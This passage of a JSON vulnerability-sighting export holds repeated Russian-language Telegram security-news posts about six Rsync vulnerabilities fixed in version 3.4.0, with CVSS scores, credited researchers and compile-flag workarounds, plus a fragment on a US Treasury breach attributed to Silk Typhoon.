\u043d\u0435 \u0432\u044b\u044f\u0441\u043d\u0435\u043d\u044b. \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0443\u0433\u0440\u043e\u0437\u044b \u0441\u0442\u0430\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043a \u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0434\u043d\u0435\u0439.\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u044f\u043d\u0432\u0430\u0440\u044f \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410 \u0437\u0430\u044f\u0432\u0438\u043b\u043e, \u0447\u0442\u043e \u0441\u0435\u0442\u044c \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0431\u044b\u043b\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0439 API-\u043a\u043b\u044e\u0447. \u041a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0443 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 Silk Typhoon (Hafnium). \u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC), \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c \u0421\u0428\u0410 (CFIUS).\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T10:53:21.000000Z"}, {"uuid": "15623be1-ea29-44c6-a22c-3f59e2228762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "09a505f0-8862-40aa-b7e8-facb2bf6bc4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "db1e3d6b-8d29-4b1c-a1ca-b8d4900479c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 